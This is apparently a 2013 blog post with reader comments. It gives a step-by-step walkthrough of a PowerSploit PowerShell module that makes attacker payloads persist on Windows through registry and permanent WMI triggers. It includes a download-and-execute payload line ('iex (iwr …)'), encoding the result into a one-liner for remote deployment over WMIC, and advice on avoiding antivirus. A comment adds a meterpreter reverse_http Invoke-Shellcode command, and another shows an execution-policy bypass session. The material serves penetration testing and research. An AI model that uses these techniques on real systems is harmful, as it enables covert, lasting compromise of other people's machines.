Thursday, April 4, 2013

Practical Persistence with PowerShell

Download: Persistence Module

As I've preached continuously, PowerShell is the ideal post-exploitation tool in a Windows environment. A PowerShell-based payload can accomplish the same tasks of any compiled payload all without fear of flagging anti-virus. Unfortunately, PowerShell offers no built in method of persisting your payloads. PowerShell v3 introduced a scheduled tasks module but obviously, this only works with v3 and you're out of luck if you want to persist via any other method.

I developed a persistence module for PowerShell that solves the challenges of persisting scripts once and for all. The module adds persistence capabilities to any PowerShell script. Upon persisting, the script will strip out its persistence logic.

Generating a persistent script is relatively straightforward:

1) Drop the 'Persistence' folder into your module directory (usually $Env:HomeDrive$Env:HOMEPATH\Documents\WindowsPowerShell\Modules) or just install the entire PowerSploit module.

2) Import the 'Persistence' module

Import-Module Persistence

3) Create your payload. This can come in the form of a scriptblock or a ps1 file. In this example, I'll be using a scriptblock consisting of a rickroll payload. ;D

$Rickroll = { iex (iwr ) }

4) Specify the desired limited-user persistence options:

$UserOptions = New-UserPersistenceOptions -Registry -AtLogon

5) Specify the desired elevated persistence options:

$ElevatedOptions = New-ElevatedPersistenceOptions -PermanentWMI -Daily -At '3 PM'

6) Apply the persistence options to the rockroll payload. A persistence and removal script will be generated:

Add-Persistence -ScriptBlock $Rickroll -ElevatedPersistenceOptions $ElevatedOptions -UserPersistenceOptions $UserOptions -PassThru -Verbose

6a) Optionally, create a one-liner out of the generated persistence script (requires the full PowerSploit module):

Add-Persistence -ScriptBlock $Rickroll -ElevatedPersistenceOptions $ElevatedOptions -UserPersistenceOptions $UserOptions -PassThru -Verbose |
Out-EncodedCommand | Out-File .\EncodedPersistentScript.ps1

7) The generated script will look like this:
8) Deploy the payload. In my example, I will execute the persistent payload remotely using WMIC and the encoded one-liner I generated:
9) The payload has now persisted on the target machine. Sit back and let the hilarity ensue.


  1. awesome! going to go play with this!

  2. It would be great if you could offer that PPT presentation as downloadable -- whatever formatting is happening between Blogger and my version of Chrome is making it difficult to navigate/read.

    1. It was already hosted off my Google Drive. I guess the link wasn't obvious.


  3. Any chance of a proxy parameter in a future update?

    1. I'm not sure I know what you mean by a 'proxy' parameter for the persistence module.

    2. Sorry, not for the persistence module but Invoke-Shellcode. A proxy option so that Lhosts uses the proxy defined on the target system so the connection won't attempts to go direct.

      Invoke-Shellcode -Payload windows/meterpreter/reverse_http -Lhost -Lport 80 -Force

  4. 1st, thanks for providing Powersploit,

    The persistence module is generating errors following the examples in your post and the get-help examples. This is running on a win7 host with PowerShell v3 and PowerSploit loaded in the system Modules directory.

    There are several errors below, but "Access to the path 'C:\users\bob' is denied" is odd. Usually this error is when the folder is specified but not the file or filename. I get this error if I specify the full path aka -FilePath C:\Users\Bob\MyEvilScript.ps1 OR if I use -FilePath .\MyEvilScript.ps1

    C:\Users\Bob>powershell -nop -ep bypass
    Windows PowerShell
    Copyright (C) 2012 Microsoft Corporation. All rights reserved.

    PS C:\Users\Bob> Import-Module PowerSploit
    PS C:\Users\Bob> $ElevatedOptions = New-ElevatedPersistenceOption -PermanentWMI -Daily -At '11 PM'
    PS C:\Users\Bob> $UserOptions = New-UserPersistenceOption -Registry -AtLogon
    PS C:\Users\Bob> Add-Persistence -FilePath .\MyEvilScript.ps1 -ElevatedPersistenceOption $ElevatedOptions -UserPersistenceOption $UserOptions -Passthru -Verbose | Out-EncodedCommand | Out-File .\EncodedPersistentScript.ps1

    Out-EncodedCommand : The input object cannot be bound to any parameters for the command either because the command does not take pipeline input or the input
    and its properties do not match any of the parameters that take pipeline input.
    At line:1 char:147
    + ... hru -Verbose | Out-EncodedCommand | Out-File .\EncodedPersistentScript.ps1
    + ~~~~~~~~~~~~~~~~~~
    + CategoryInfo : InvalidArgument: (C:\Users\Bob\MyEvilScript.ps1:PSObject) [Out-EncodedCommand], ParameterBindingException
    + FullyQualifiedErrorId : InputObjectNotBound,Out-EncodedCommand

    Exception calling "ReadAllText" with "1" argument(s): "Access to the path 'C:\Users\Bob' is denied."
    At C:\Windows\system32\WindowsPowerShell\v1.0\Modules\PowerSploit\Persistence\Persistence.psm1:477 char:9
    + $Script = [IO.File]::ReadAllText((Resolve-Path $Path))
    + ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo : NotSpecified: (:) [], MethodInvocationException
    + FullyQualifiedErrorId : UnauthorizedAccessException

    Exception calling "GetBytes" with "1" argument(s): "Array cannot be null.
    Parameter name: chars"
    At C:\Windows\system32\WindowsPowerShell\v1.0\Modules\PowerSploit\Persistence\Persistence.psm1:501 char:5
    + $ScriptBytes = ([Text.Encoding]::ASCII).GetBytes($Script)
    + ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo : NotSpecified: (:) [], MethodInvocationException
    + FullyQualifiedErrorId : ArgumentNullException

    Property 'Length' cannot be found on this object. Make sure that it exists.
    At C:\Windows\system32\WindowsPowerShell\v1.0\Modules\PowerSploit\Persistence\Persistence.psm1:504 char:5
    + $DeflateStream.Write($ScriptBytes, 0, $ScriptBytes.Length)
    + ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo : NotSpecified: (:) [], PropertyNotFoundException
    + FullyQualifiedErrorId : PropertyNotFoundStrict

    VERBOSE: Persistence script written to C:\Users\Bob\Persistence.ps1
    VERBOSE: Persistence removal script written to C:\Users\Bob\RemovePersistence.ps1

    Do you have any suggestions?

    1. Thanks a lot for reporting that bug. Clearly, I wasn't testing with a script on disk. I only ever tested with ScriptBlocks. Shame! I just pushed a fix to GitHub.

      Let me know if you ever run into any other issues but post an issue on GitHub so either Chris or I can address the bug.